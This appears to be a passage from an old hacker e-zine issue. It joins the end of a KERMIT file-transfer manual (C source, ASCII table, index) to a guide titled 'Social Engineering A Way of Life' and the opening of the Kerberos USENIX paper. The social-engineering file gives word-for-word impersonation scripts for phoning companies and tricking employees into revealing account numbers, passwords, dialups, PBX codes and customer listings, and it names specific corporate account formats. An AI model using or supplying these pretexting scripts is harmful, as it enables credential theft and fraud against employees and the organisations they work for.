- char buffer[]; /* Buffer */
- int len; /* Length */
- {
- int i; /* Counter */
- char t; /* Character holder */
- A KERMIT Program Page 87
-
-
-
- for (i=0; i<len; i++) /* Loop thru the data field */
- {
- t = buffer[i]; /* Get character */
- if (t == MYQUOTE) /* Control quote? */
- { /* Yes */
- t = buffer[++i]; /* Get the quoted character */
- if ((t & 0177) != MYQUOTE) /* Low order bits match quote char? */
- t = ctl(t); /* No, uncontrollify it */
- }
- if (t==CR && !image) /* Don't pass CR if in image mode */
- continue;
-
- putc(t,fp);
- }
- }
-
-
- /*
- * g n x t f l
- *
- * Get next file in a file group
- */
-
- gnxtfl()
- {
- if (debug) printf(" gnxtfl: filelist = \"%s\"\n",*filelist);
- filnam = *(filelist++);
- if (filecount-- == 0) return FALSE; /* If no more, fail */
- else return TRUE; /* else succeed */
- }
-
-
- /*
- * s p a r
- *
- * Fill the data array with my send-init parameters
- *
- */
-
- spar(data)
- char data[];
- {
- data[0] = tochar(MAXPACKSIZ); /* Biggest packet I can receive */
- data[1] = tochar(MYTIME); /* When I want to be timed out */
- data[2] = tochar(MYPAD); /* How much padding I need */
- data[3] = ctl(MYPCHAR); /* Padding character I want */
- data[4] = tochar(MYEOL); /* End-Of-Line character I want */
- data[5] = MYQUOTE; /* Control-Quote character I send */
- }
- A KERMIT Program Page 88
-
-
-
- /* r p a r
- *
- * Get the other host's send-init parameters
- *
- */
-
- rpar(data)
- char data[];
- {
- spsiz = unchar(data[0]); /* Maximum send packet size */
- timint = unchar(data[1]); /* When I should time out */
- pad = unchar(data[2]); /* Number of pads to send */
- padchar = ctl(data[3]); /* Padding character to send */
- eol = unchar(data[4]); /* EOL character I must send */
- quote = data[5]; /* Incoming data quote character */
- }
-
-
- /*
- * f l u s h i n p u t
- *
- * Dump all pending input to clear stacked up NACK's.
- * (Implemented only for Berkeley Unix at this time).
- */
-
- #if UCB4X&(~NO_FIONREAD)
- flushinput()
- {
- long int count; /* Number of bytes ready to read */
- long int i; /* Number of bytes to read in loop */
-
- ioctl(ttyfd, FIONREAD, &count); /* See how many bytes pending read */
- if (!count) return; /* If zero, then no input to flush */
-
- while (count) /* Loop till all are flushed */
- {
- i = (count<sizeof(recpkt)) ? /* Read min of count and size of */
- count : sizeof(recpkt); /* the read buffer */
- read(ttyfd, recpkt, i); /* Read a bunch */
- count -= i; /* Subtract from amount to read */
- }
- }
- #else
- flushinput() /* Null version for non-Berkeley Unix */
- {}
- #endif /* UCB4X&(~FIONREAD) */
- A KERMIT Program Page 89
-
-
-
- /*
- * Kermit printing routines:
- *
- * usage - print command line options showing proper syntax
- * printmsg - like printf with "Kermit: " prepended
- * error - like printmsg if local kermit; sends a error packet if remote
- * prerrpkt - print contents of error packet received from remote host
- */
-
- /*
- * u s a g e
- *
- * Print summary of usage info and quit
- */
-
- usage()
- {
- #if UCB4X
- printf("Usage: kermit c[lbe line baud esc.char] (connect mode)\n");
- printf("or: kermit s[diflb line baud] file ... (send mode)\n");
- printf("or: kermit r[diflb line baud] (receive mode)\n");
- #else
- printf("Usage: kermit c[le line esc.char] (connect mode)\n");
- printf("or: kermit s[difl line] file ... (send mode)\n");
- printf("or: kermit r[difl line] (receive mode)\n");
- #endif
- exit(1);
- }
-
- /*
- * p r i n t m s g
- *
- * Print message on standard output if not remote.
- */
-
- /*VARARGS1*/
- printmsg(fmt, a1, a2, a3, a4, a5)
- char *fmt;
- {
- if (!remote)
- {
- printf("Kermit: ");
- printf(fmt,a1,a2,a3,a4,a5);
- printf("\n");
- fflush(stdout); /* force output (UTS needs it) */
- }
- }
- A KERMIT Program Page 90
-
-
-
- /*
- * e r r o r
- *
- * Print error message.
- *
- * If local, print error message with printmsg.
- * If remote, send an error packet with the message.
- */
-
- /*VARARGS1*/
- error(fmt, a1, a2, a3, a4, a5)
- char *fmt;
- {
- char msg[80];
- int len;
-
- if (remote)
- {
- sprintf(msg,fmt,a1,a2,a3,a4,a5); /* Make it a string */
- len = strlen(msg);
- spack('E',n,len,msg); /* Send the error packet */
- }
- else
- printmsg(fmt, a1, a2, a3, a4, a5);
-
- return;
- }
-
- /*
- * p r e r r p k t
- *
- * Print contents of error packet received from remote host.
- */
- prerrpkt(msg)
- char *msg;
- {
- printf("Kermit aborting with following error from remote host:\n%s\n",msg);
- return;
- }
- The ASCII Character Set Page 91
-
-
- V. The ASCII Character Set
-
- ASCII Code (ANSI X3.4-1968)
-
- There are 128 characters in the ASCII (American national Standard Code for In-
- formation Interchange) "alphabet". The characters are listed in order of ASCII
- value; the columns are labeled as follows:
-
- Bit Even parity bit for ASCII character.
- ASCII Dec Decimal (base 10) representation.
- ASCII Oct Octal (base 8) representation.
- ASCII Hex Hexadecimal (base 16) representation.
- EBCDIC Hex EBCDIC hexadecimal equivalent for Kermit translate tables.
- Char Name or graphical representation of character.
- Remark Description of character.
-
- The first group consists of nonprintable 'control' characters:
-
-
- .....ASCII.... EBCDIC
- Bit Dec Oct Hex Hex Char Remarks
- 0 000 000 00 00 NUL , Null, Idle
- 1 001 001 01 01 SOH ?A, Start of heading
- 1 002 002 02 02 STX ?B, Start of text
- 0 003 003 03 03 ETX ?C, End of text
- 1 004 004 04 37 EOT ?D, End of transmission
- 0 005 005 05 2D ENQ ?E, Enquiry
- 0 006 006 06 2E ACK ?F, Acknowledge
- 1 007 007 07 2F BEL ?G, Bell, beep, or fleep
- 1 008 010 08 16 BS ?H, Backspace
- 0 009 011 09 05 HT I, Horizontal tab
- 0 010 012 0A 25 LF ?J, Line feed
- 1 011 013 0B 0B VT ?K, Vertical tab
- 0 012 014 0C 0C FF ?L, Form feed (top of page)
- 1 013 015 0D 0D CR ?M, Carriage return
- 1 014 016 0E 0E SO ?N, Shift out
- 0 015 017 0F 0F SI ?O, Shift in
- 1 016 020 10 10 DLE ?P, Data link escape
- 0 017 021 11 11 DC1 ?Q, Device control 1, XON
- 0 018 022 12 12 DC2 ?R, Device control 2
- 1 019 023 13 13 DC3 ?S, Device control 3, XOFF
- 0 020 024 14 3C DC4 ?T, Device control 4
- 1 021 025 15 3D NAK ?U, Negative acknowledge
- 1 022 026 16 32 SYN ?V, Synchronous idle
- 0 023 027 17 26 ETB ?W, End of transmission block
- 0 024 030 18 18 CAN ?X, Cancel
- 1 025 031 19 19 EM ?Y, End of medium
- 1 026 032 1A 3F SUB ?Z, Substitute
- 0 027 033 1B 27 ESC ?[, Escape, prefix, altmode
- 1 028 034 1C 1C FS ?\, File separator
- 0 029 035 1D 1D GS ?], Group separator
- 0 030 036 1E 1E RS ~, Record separator
- 1 031 037 1F 1F US Unit separator
-
- The last four are usually associated with the control version of backslash,
- right square bracket, uparrow (or circumflex), and underscore, respectively,
- The ASCII Character Set Page 92
-
-
- but some terminals do not transmit these control characters.
- The following characters are printable:
-
- First, some punctuation characters.
-
- .....ASCII.... EBCDIC
- Bit Dec Oct Hex Hex Char Remarks
- 1 032 040 20 40 SP Space, blank
- 0 033 041 21 5A ! Exclamation mark
- 0 034 042 22 7F " Doublequote
- 1 035 043 23 7B # Number sign, pound sign
- 0 036 044 24 5B $ Dollar sign
- 1 037 045 25 6C % Percent sign
- 1 038 046 26 50 & Ampersand
- 0 039 047 27 7D ' Apostrophe, accent acute
- 0 040 050 28 4D ( Left parenthesis
- 1 041 051 29 5D ) Right parenthesis
- 1 042 052 2A 5C * Asterisk, star
- 0 043 053 2B 4E + Plus sign
- 1 044 054 2C 6B , Comma
- 0 045 055 2D 60 - Dash, hyphen, minus sign
- 0 046 056 2E 4B . Period, dot
- 1 047 057 2F 61 / Slash
-
- Numeric characters:
-
- .....ASCII.... EBCDIC
- Bit Dec Oct Hex Hex Char Remarks
- 0 048 060 30 F0 0 Zero
- 1 049 061 31 F1 1 One
- 1 050 062 32 F2 2 Two
- 0 051 063 33 F3 3 Three
- 1 052 064 34 F4 4 Four
- 0 053 065 35 F5 5 Five
- 0 054 066 36 F6 6 Six
- 1 055 067 37 F7 7 Seven
- 1 056 070 38 F8 8 Eight
- 0 057 071 39 F9 9 Nine
-
- More punctuation characters:
-
- .....ASCII.... EBCDIC
- Bit Dec Oct Hex Hex Char Remarks
- 0 058 072 3A 7A : Colon
- 1 059 073 3B 5E ; Semicolon
- 0 060 074 3C 4C < Left angle bracket
- 1 061 075 3D 7E = Equal sign
- 1 062 076 3E 6E > Right angle bracket
- 0 063 077 3F 6F ? Question mark
- 1 064 100 40 7C @ "At" sign
- The ASCII Character Set Page 93
-
-
- Upper-case alphabetic characters (letters):
-
- .....ASCII.... EBCDIC
- Bit Dec Oct Hex Hex Char Remarks
- 0 065 101 41 C1 A
- 0 066 102 42 C2 B
- 1 067 103 43 C3 C
- 0 068 104 44 C4 D
- 1 069 105 45 C5 E
- 1 070 106 46 C6 F
- 0 071 107 47 C7 G
- 0 072 110 48 C8 H
- 1 073 111 49 C9 I
- 1 074 112 4A D1 J
- 0 075 113 4B D2 K
- 1 076 114 4C D3 L
- 0 077 115 4D D4 M
- 0 078 116 4E D5 N
- 1 079 117 4F D6 O
- 0 080 120 50 D7 P
- 1 081 121 51 D8 Q
- 1 082 122 52 D9 R
- 0 083 123 53 E2 S
- 1 084 124 54 E3 T
- 0 085 125 55 E4 U
- 0 086 126 56 E5 V
- 1 087 127 57 E6 W
- 1 088 130 58 E7 X
- 0 089 131 59 E8 Y
- 0 090 132 5A E9 Z
-
- More punctuation characters:
-
- .....ASCII.... EBCDIC
- Bit Dec Oct Hex Hex Char Remarks
- 1 091 133 5B AD [ Left square bracket
- 0 092 134 5C E0 \ Backslash
- 1 093 135 5D BD ] Right square bracket
- 1 094 136 5E 5F ? Circumflex, up arrow
- 0 095 137 5F 6D _ Underscore, left arrow
- 0 096 140 60 79 ` Accent grave
- The ASCII Character Set Page 94
-
-
- Lower-case alphabetic characters (letters):
-
- .....ASCII.... EBCDIC
- Bit Dec Oct Hex Hex Char Remarks
- 1 097 141 61 81 a
- 1 098 142 62 82 b
- 0 099 143 63 83 c
- 1 100 144 64 84 d
- 0 101 145 65 85 e
- 0 102 146 66 86 f
- 1 103 147 67 87 g
- 1 104 150 68 88 h
- 0 105 151 69 89 i
- 0 106 152 6A 91 j
- 1 107 153 6B 92 k
- 0 108 154 6C 93 l
- 1 109 155 6D 94 m
- 1 110 156 6E 95 n
- 0 111 157 6F 96 o
- 1 112 160 70 97 p
- 0 113 161 71 98 q
- 0 114 162 72 99 r
- 1 115 163 73 A2 s
- 0 116 164 74 A3 t
- 1 117 165 75 A4 u
- 1 118 166 76 A5 v
- 0 119 167 77 A6 w
- 0 120 170 78 A7 x
- 1 121 171 79 A8 y
- 1 122 172 7A A9 z
-
- More punctuation characters:
-
- .....ASCII.... EBCDIC
- Bit Dec Oct Hex Hex Char Remarks
- 0 123 173 7B C0 { Left brace (curly bracket)
- 1 124 174 7C 4F | Vertical bar
- 0 125 175 7D D0 } Right brace (curly bracket)
- 0 126 176 7E 7E ~ Tilde
-
-
- Finally, one more nonprintable character:
-
- 0 127 177 7F 07 DEL Delete, rubout
- Index Page 95
-
-
- Index
-
-
- 8th Bit 5, 27 NAK 7, 36
- Normal Form for File Names
- ACK 7
- ASCII 6, 10, 91 Packet 7, 20
- Parity 22, 26, 91
- Baud 8 Prefix 27, 30
- Binary Files 9, 10 Prefixed Sequence 28
- Binary Mode 8 Printable Files 10
- Bit Positions 5 Program, Kermit 56, 65
- Block Check 21, 22 Protocol 3
- Bootstrap 59
- BREAK 55 Raw Mode 8
- Records 10
- Capabilies 25 Remote 5, 8
- CAPAS 25 Repeat Prefix 27
- Char(x) 6 Reserved Fields 25
- Checksum 21
- Control Character 6 Send-Init 23
- Control Characters 20, 91 Sequence Number 12
- Control Fields 22 Sequential Files 3
- Ctl(x) 6 Server 5
- Server Command Wait 28
- Data Encoding 22 Server Commands 32
- DEFINE 53 Server Operation 28
- Duplex 8 Short Reply 31
- SOH 8
- EBCDIC 8, 10, 91
- Edit Number 58 Tab Expansion 10
- Encoding 27, 30 Text Files 10
- End-Of-Line (EOL) 8, 21 Timeout 7
- Errors 14 Transaction 12
- Transaction Log 16
- Fatal Errors 14 TTY 5
- File Names 15
- Flow Control 8, 16 Unchar(x) 6
- Full Duplex 8 User 5
-
- GET Command 31 XON/XOFF 8, 16, 91
-
- Half Duplex 8
- Host 5
- Initial Connection 23
-
- KERMIT 3
-
- Language, Programming 58
- Line Terminator 21
- Line Terminator (see End-Of-Line)
- Local 5
- Logical Record 10
- Logical Records 10
- Long Reply 31
- Table of Contents Page i
-
-
- Table of Contents
-
- 1. Introduction 3
-
- 1.1. Background 3
- 1.2. Overview 3
-
- 2. Definitions 5
-
- 2.1. General Terminology 5
- 2.2. Numbers 5
- 2.3. Character Set 6
- 2.4. Conversion Functions 6
- 2.5. Protocol Jargon 7
-
- 3. System Requirements 8
-
- 4. Printable Text versus Binary Data 10
-
- 4.1. Printable Text Files 10
- 4.2. Binary Files 10
-
- 5. File Transfer 12
-
- 5.1. Conditioning the Terminal 13
- 5.2. Timeouts, NAKs, and Retries 13
- 5.3. Errors 14
- 5.4. Heuristics 14
- 5.5. File Names 15
- 5.6. Robustness 16
- 5.7. Flow Control 16
- 5.8. Basic KERMIT Protocol State Table 17
-
- 6. Packet Format 20
-
- 6.1. Fields 20
- 6.2. Terminator 21
- 6.3. Other Interpacket Data 21
- 6.4. Encoding, Prefixing, Block Check 22
-
- 7. Initial Connection 23
-
- 8. Optional Features 27
-
- 8.1. 8th-Bit and Repeat Count Prefixing 27
- 8.2. Server Operation 28
- 8.2.1. Server Commands 29
- 8.2.2. Timing 30
- 8.2.3. The R Command 31
- 8.2.4. The K Command 31
- 8.2.5. Short and Long Replies 31
- 8.2.6. Additional Server Commands 32
- 8.2.7. Host Commands 34
- 8.2.8. Exchanging Parameters Before Server Commands 34
- Table of Contents Page ii
-
-
- 8.3. Alternate Block Check Types 34
- 8.4. Interrupting a File Transfer 36
- 8.5. Transmitting File Attributes 37
- 8.6. Advanced KERMIT Protocol State Table 43
-
- 9. KERMIT Commands 48
-
- 9.1. Basic Commands 48
- 9.2. Program Management Commands 48
- 9.3. Terminal Emulation Commands 49
- 9.4. Special User-Mode Commands 49
- 9.5. Commands Whose Object Should Be Specified 49
- 9.6. The SET Command 51
- 9.7. Macros, the DEFINE Command 53
-
- 10. Terminal Emulation 54
-
- 11. Writing a KERMIT Program 56
-
- 11.1. Program Organization 56
- 11.2. Programming Language 58
- 11.3. Documentation 58
- 11.4. Bootstrapping 59
-
- I. Packet Format and Types 60
-
- II. List of Features 61
-
- III. Unresolved Issues 63
-
- IV. A KERMIT Program 65
-
- V. The ASCII Character Set 91
-
- Index 95
- =============================================================================
-
- / /
- / File 04 / NIA070 /
- / Social Engineering A Way of Life /
- / Written by - Malefactor [OC] /
- / /
-
-
- Disclaimer
- ------------
-
- I take no responsibility for any of the information contained hearin
- neither expressed nor implied. I also assume no responsibility for the actions
- or interpretations of the end user neither expressed or implied. This file is
- for informational purposes only and is an exercise of my right to freedom of
- the press. Although a few people out there get turned on by a good book
- burning.
-
- Introduction
- --------------
-
- What exactly is social engineering? Social engineering is basically
- the delicate art of deception and manipulation for your own personnel gain.
- Social engineering can be used in every aspect of life to avoid a "F" when you
- withdraw from some insidious class, to convice a friend to loan you money, or
- where we are concerned to convice a company that you are who you say you are,
- and to give you what you want or need. Through social engineering I have
- gained accounts, dialups, and information on various things. This file is
- meant to introduce you and familiarize you to social engineering, and where you
- take it from there is your own concern.
-
-
- Guidlines for Social Engineering
- ----------------------------------
-
- 1] When you know little or nothing about a company you are trying to get
- accounts for never try to find out that information by asking local offices.
- This not only ruins future sites that you could of gained accounts from, but
- also may alert them as to your intentions. By calling out of state offices
- the worst thing that can happen is you can raise suspicions in the Akron,
- Ohio office and not your local Palm Springs,Ca. office.
-
- 2] Never hang up or panic. A few handy phrases are listed below
-
- A] "Ohh I'm sorry I just started last week and am new here"
- B] Or if they ask for a number where they can reach you say, "I'm sorry
- but I am calling from an OutWATS line and cannot recieve incoming
- calls" (although sometimes this does raise suspicions)
- C] If you have a loop say, "Sure you can reach me at NPA-PRE-SUFF"
- D] "Excuse me one moment let me get my supervisor"
- E] begin to answer there question and mid-sentance say, "Please hold
- I have another call"
-
- 3] Whenever possible do it in a team with a friend then in the event of a
- "fuck-up" your friend can proceed to be either your supervisor, enraged boss
- for your indiscretion, or the person who says, "Hello who are you holding
- for?, I will have him/her call you back I need this line"
-
- 4] Never give them your home address or phone number, give them a busy number,
- and a fake address. Unless you are getting manuals in that case you will
- need a loop line and a drop site, PO Box, etc....
-
- 5] Always take control of the conversation the more confident you sound the
- more apt they are to believe you. Always keep talking don't give them the
- opportunity to get a word in edgewise and question you. If you stutter for
- a moment some people will question you. Be firm, but not rude or
- discourteous unless of course the situation calls for it.
-
- Gaining information about an unknown service or company
- ---------------------------------------------------------
-
- First off you will need to get a little information before you can
- start doing anything. There are many avenues you can take, and I will list but
- a few of the better ones.
-
- Method 1
- --------
-
- T=Target Company
- Y=You
-
- Call the company or information and get the number to the company.
-
-
- T=Hello Joe Blow's Aerospace.
-
- Y=Hello this is richard weiss and I was recently considering investing in your
- corporation, but would like to find out a little more about it. Can you tell
- me where to call?
-
- T=Ok, Mr. Weiss call 1-800-XXX-XXXX that is our stockholder information line.
-
- Y=Thank you, and have a nice day
-
-
- Now you may direct any questions about products, where their main office is
- located, whether or not thier computerized, whether or not they utilize the
- networks i.e. tymnet, telenet, etc..., quarterly reports (for what their
- worth), etc...
-
- Note:Another variation on this theme is to actually call and say you are a
- stockholder and would like information usually they will send you out pamplets
- and brochures on products and services they offer, but this could take weeks
- and is 9 times out of 10 totally useless.
- ----
- Now you should know whether or not they have a system, where their main office
- is, and whether or not its accessible through telenet or tymnet (in some cases
- they are reluctant to give out this information.) Now you are almost ready to
- begin.
- ----
-
- Call up a out of state office of your targeted corporation
-
- T=Hello Joe Blow's Aerospace?
-
- Y=Yes this is Edwin Meese from the Joe Blows Aerospace main office in super
- city I need to speak with your computer division (or if it is a small
- organization say I need to speak with your computer account operator)
-
- T=One moment please (or the number is XXX-XXXX)
-
- T=Hello this is john oberheim I operate the computer how many I help you?
-
- Y=Well sir as you may or may not know we are recently updating your account and
- I need to know which of our dialups you use to access the central system?
-
- T=Well we call TEL-ENET.
-
- (at this point you should be prepared if he gives you the local telenet or
- tymnet dialup to recognize it)
-
- Y=Ok yes sir, and after you connect to telenet which of our NUA's do you
- connect to?
-
- (At this point be prepared to explain what an NUA is and what a PSN is)
-
- T=We connect to 212440
-
- Y=Ok thank you sir for your cooperation and have a nice day.
-
- T=No problem bye.
-
- <click.>
-
- ----
- Now you are ready to begin getting accounts you should have a dialup via
- telenet or tymnet and an address, or an out-of-state dialup in which case
- you can call another office in that city and get an account and password.
- Hopefully by this point the first fool you called would of blurted out the
- name of the system if he did not it might be a good idea to call another
- office and find out what the system name is say something along the same lines
- except add in their local port or telenet address and NUA and when you get to
- the computer/system part say, "after you call xxx-xxxx and type 212440 you
- connect with uhhh I forgot the name of our system it's on the tip of my tongue
- I'm drawing a blank here etc..." at which point they blurt it out and you say
- "thats it ohh i cant believe I forgot I need to get more sleep" after
- this you can proceed to get this persons account and password using the below
- method
- ----
-
- Method 2
- --------
-
- This is method is best when you know everthing, and can skip the first
- part.
-
- T=Hello Joe Blow's Aerospace may I help you?
-
- Y=Hello this is Ed McMan from Joe Blow's Aerospace main office in super city I
- need to speak with your X account operator.
-
- T=One moment please
-
- T=This is ed how may I help you?
-
- Y=Yes this is Ed McMan from Joe Blow's Aerospace main office in super city, and
- we are currently updating your account on X (system name)
-
- T=Uh huh?
-
- Y=Our records show you are using our xxx-xxxx dialup and using X (system name)
- at NUA 212440.
-
- T=Yes.
-
- Y=We need your account so we can update our records.
-
- T=Sure no problem its 12ASFD21.
-
- (This is where it gets tricky most people 9 out of 10 say yes unless you are
- calling new york where they are dicks don't even bother)
-
- Y=Ok and I also need your password.
-
- T=Ok it's "secret"
-
- (usually if it's user selected its pretty pathetic but most corporate systems
- dont allow user selected passwords anymore if he says no then you have to say,
- "I understand sir I will have my supervisor Bob Hope call you back whenever he
- is free" or you can say, "I understand can you call me back at 212-222-LOOP?"
- an added note here is if your calling from the main office supposedly in
- chicago DONT GIVE THEM A 212 LOOP)
-
- ----
- Vica-Versa: A good ploy when employees are reluctant to give out passwords is
- to call the main office get connected w/the computer department and say you are
- having problems by now you should at least be able to give them a dialup an nua
- and an account, but no password. This they will provide for you say something
- to the effect that your new and everyone is out of the office etc... and that
- you lost the password to the account. Be real computer naive it works about
- 50% of the time depending on how convincing you sound.
- ----
- Well that's the basics down now that you are aware of the basic principles
- behind social engineering I will cite a more prevalent example.
- ----
-
- Social Engineering Dialog Accounts
- ----------------------------------
-
- What is dialog? Well according to thomas jefferson Dialog is Power.
- Not really; just good for research and reports. If you want dialogs try
- Libraries, Engineers, and Large Research Companies.
-
- Here is what you say word for word.
-
- L=Library, Engineering Firm, Large Research Company.
-
- Y=You
-
-
- L=Hello this is X company how may I help you?
-
- Y=Yes this is Pia Zadora from dialog I need to speak with your dialog account
- operator?
-
- L=One moment please transferring your call..
-
- L=Hello this is Charles Manson how may I help you?
-
- Y=Yes this is Pia Zadore from dialog recently as you may or may not know there
- was an earthquake in San Fransisco where all of our billing information is
- stored and your account information is outdated as we had to use tape backups
- from six months ago.
-
- (This is where it gets tricky a company called "AIMES" does a lot of dialogs
- billing in that case say you still need the information for your records)
-
- L=Ohh yes I heard it was awful. How can I help you?
-
- Y=Well I need to find out when you were last billed by us and on what account?
-
- (On Dialog bills the account number is used as a cover sheet on the bill)
-
- L=One moment please (or they might say their accountant isn't in or that it
- will take some time to dig up)
-
- (Option one if she's got it. Option two if she says it will take some time)
-
- Option 1
- --------
-
- T=Hello?
-
- Y=Yes.
-
- T=We were last billed August 13, on account 203247 and we were also billed
- August 13 on our other account 103452.
-
- Y=Thank you and what are the passwords on those two accounts?
-
- T=They are both "ursula"
-
- Y=Ok thank you very much have a nice day.
-
- Option 2
- --------
-
- L=Ok well I need this information now I have a lot of other calls to make whats
- your account and password and I will try to pull it up through the network?
-
- T=The account is 292910 and the password is "bubba"
-
- L=Ok hold on for one moment.
-
- L=I was unable to pull up the information. When do you think you will have
- the records and when would be a good time to call back I really need the last
- billing period?
-
- T=4 o'clock.
-
- (Ok so you call back and get the worthless information but they trust you more
- not every place you call will be easy if they are the least bit reluctant or
- untrusting lead them for ahwile talk and chat about the earthquake the weather
- or whatever turns em on. The reason you call back later is so that they don't
- call dialog with the last billing period trying to be helpful and killing your
- accounts)
-
- Social Engineering and the buisness office
- ------------------------------------------
-
- Ok to find out information on a line listed or unlisted you can call
- the buisness office. Occassionally they won't give out information or they
- will want your local CNA or to actually call you back. Most of the time
- however they don't. The only ones that seem to be a bit fickle are 612 and 713
- that I have encountered. It's just a matter of who you get. This works better
- than CNA and usually isn't as hard to get through to.
-
- B=Buisness Office
-
- Y=You
-
- ----
-
- B=Hello this is the buisness office how may I help you?
-
- Y=Hello this is richard weiss of michigan bell I need a CNA Listing (or just a
- listing) on NPA-PRE-SUFF.
-
- B=Ok that number is billed to joe blow.
-
- Y=Ok and do you have an address on that?
-
- B=Yes its 1234 laurel lane.
-
- Y=And are there any other numbers billed to that account?
-
- B=Yes there is 123-456-6789 and 123-456-1234
-
- Y=Thank you have a nice day.
-
- <click.>
- ----
-
- Socially Engineering Mcdonalds Accounts
- ---------------------------------------
-
- This is the best one for you to practice your art on their are a
- multitude of Mcdonalds all across the nation and if they arn't a franchise they
- have a TI and ISP account on their mainframe accesible through telenet. A
- little background information their computer is at NUA 313160, and you enter
- your password then account. The passwords are in the format 1,XRRRRRR, and the
- accounts are usually MSNNNNNN. (The R's represent Randomn mixture of Letters
- and Numbers and the N's represent Numbers)
-
- M=Mcdonalds
-
- Y=You
-
-
- M=Hello this is Mcdonalds I am McChuck can I McHelp McYou?
-
- Y=Yes this is McGandi from the main McOffice in McChicago I need to speak with
- the McManager.
-
- M=This is the McManager McZsa Zsa Gabor how can I McHelp McYou?
-
- Y=We are currently updating your account are you the one who actually calls in
- and does the tandem reports?
-
- M=McYes that's me.
-
- Y=Allright so you call McTEL-NET (give em the number to telenet) and McConnect
- to McNUA 313160?
-
- M=McYes that's McRight.
-
- Y=Ok well I need your ISP Account and Password.
-
- M=Ok my account is 1,X23T2NN and my McAccount is MS629191.
-
- Y=Ok thank you and have a nice day.
-
- (A variation on this theme is to ask for the TI account and password another
- account type I have found they have with less priveleges than the ISP accounts.
- Unfortunatly the Mc's are all necessary it is a specialized McCode they use,
- and if you don't use it they McSpit in your McFace, and if you Mcbelieve that
- don't McTry McShit cause noone will McBelieve McYou. Seriously though the TI's
- are easier to get and more people than just the manager use them sometimes the
- managers make careers moves out of McDonalds (really brilliant individuals
- lemme tell ya) so they are fickle, so if the manager isn't in ask if they call
- in to the computer in the main office and then proceed to get their account.)
-
- ----
-
- Variations on the themes
- ------------------------
-
- 1] If you want manuals call up a location pretending to be someone else and say
- we are currently updating our manuals, and if you send us your manual you
- will recieve one for free blah blah blah.
-
- 2] If you need to find out commands or information on a system call up and say
- something to the effect I am calling from the main office and we are
- re-doing our system and taking a survey on it to see what changes to make
- which commands do you use the most often, and what commands do you feel are
- difficult to use and why?
- 3] Call up one office pretending to be from another and say your account is
- being updated or your computer system is down and you need theirs.
-
- This works excellently!
- -----------------------
-
- 4] Call up large company buildings get transferred from about three departments
- until you are where you want to be and say, "Hello this is Tammy Fae Baker
- up in marketing on the third floor I need the code to the PBX, computer, or
- whatever you want.
-
- 5] Call up big department stores around christmas and get transferred a few
- times and when you get to a sales department say, "This is Joe in childrens
- clothes I need the tele-check number (or whatever credit check service they
- use)" If they give you any lip say look some kid tore off the sticker and
- I am going nuts down here.
-
- 6] Be creative and if you think you have something special figured out leave me
- mail I'd like to hear about it.
-
- Note: Unauthorized distribution or alteration of this file may result in severe
- credit damage.
- =============================================================================
-
- / /
- / File 05 / NIA070 /
- / Kerberos Unix Manual /
- / Submitted by /
- / Doctor Dissector [PHA/P4] /
- / (doctord@darkside.com) /
- / /
-
-
- $_Disclaimer
-
- The author and the sponsor groups Phreakers/Hackers/Anarchists, The
- Phantastic Phor and NIA will not be held responsible for any actions done
- by anyone reading this material before, during, and after exposure to this
- document. This document has been released under the notion that the
- material presented herin is for informational purposes only, and that
- neither the author nor the groups P/H/A and P4 encourage the use of this
- information for any type of illegal purpose. Thank you.
-
- $_Greets & Messages
-
- To All Network Hackers: "Party On Dewdz!"
-
- Yo! To Kryptic Night, PhantasMumble, Pain Hertz, Doc Holiday, Black Death,
- Killer Korean, M.I.T., Anonymous Anarchist, Brownstone, Judge Dredd,
- Yellow Jacket, So76, Synaptic Assult, FuZaGi, HyperCube, OverDose,
- and ANYONE else I could have possibly forgotten....
-
- $_Quote
-
- In response to all the needless bickering that has plagued the hacker
- community from the beginning; the eternal problem of the "elite"
- barrier between the most knowledgable and the learning.
-
- "Knowledge Is Power," BUT, "Absolute Power Corrupts Absolutely."
-
- $_Kerberos: USENIX.TXT
-
- Below is the file USENIX.TXT which was part of a larger archive,
- (kerberos.tar.Z) which was originally ftp'd from samba.acs.unc.edu.
- The current release patch is at 9, and more versions appear to be
- on the way. My suggestion to you, if you truely are interested in
- Kerberos, is to ftp the entire kerberos.tar.Z archive to your
- unix to pick it apart (uncompressed, the kerberos.tar file is over
- four megabytes long, so be forewarned). Enjoy.
-
-
- -----------------------------------------------------------
-
-
- Kerberos: An Authentication Service for Open
- Network Systems
-
-
-
- Jennifer G. Steiner
-
- Project Athena
- Massachusetts Institute of Technology
- Cambridge, MA 02139
- steiner@ATHENA.MIT.EDU
-
-
- Clifford Neuman
-
- Department of Computer Science, FR-35
- University of Washington
- Seattle, WA 98195
- bcn@CS.WASHINGTON.EDU
-
-
- Jeffrey I. Schiller
-
- Project Athena
- Massachusetts Institute of Technology
- Cambridge, MA 02139
- jis@ATHENA.MIT.EDU
-
-
- ABSTRACT
-
- In an open network computing environment, a
- workstation cannot be trusted to identify its
- users correctly to network services. Kerberos
- provides an alternative approach whereby a trusted
- third-party authentication service is used to ver-
- ify users' identities. This paper gives an over-
- view of the Kerberos authentication model as
- implemented for MIT's Project Athena. It
- describes the protocols used by clients, servers,
- and Kerberos to achieve authentication. It also
- describes the management and replication of the
- database required. The views of Kerberos as seen
- by the user, programmer, and administrator are
- described. Finally, the role of Kerberos in the
- larger Athena picture is given, along with a list
- __________________________
- Clifford Neuman was a member of the Project Athena
- staff during the design and initial implementation
- phase of Kerberos.
-
-
-
- March 30, 1988
-
-
-
-
-
-
- - 2 -
-
-
- of applications that presently use Kerberos for
- user authentication. We describe the addition of
- Kerberos authentication to the Sun Network File
- System as a case study for integrating Kerberos
- with an existing application.
-
-
-
-
- Introduction
-
- This paper gives an overview of Kerberos, an authenti-
- cation system designed by Miller and Neuman[1] for open net-
- work computing environments, and describes our experience
- using it at MIT's Project Athena.[2] In the first section of
- the paper, we explain why a new authentication model is
- needed for open networks, and what its requirements are.
- The second section lists the components of the Kerberos
- software and describes how they interact in providing the
- authentication service. In Section 3, we describe the Ker-
- beros naming scheme.
-
- Section 4 presents the building blocks of Kerberos
- authentication - the ticket and the authenticator. This
- leads to a discussion of the two authentication protocols:
- the initial authentication of a user to Kerberos (analogous
- to logging in), and the protocol for mutual authentication
- of a potential consumer and a potential producer of a net-
- work service.
-
- Kerberos requires a database of information about its
- clients; Section 5 describes the database, its management,
- and the protocol for its modification. Section 6 describes
- the Kerberos interface to its users, applications program-
- mers, and administrators. In Section 7, we describe how the
- Project Athena Kerberos fits into the rest of the Athena
- environment. We also describe the interaction of different
- Kerberos authentication domains, or realms; in our case, the
- relation between the Project Athena Kerberos and the Ker-
- beros running at MIT's Laboratory for Computer Science.
-
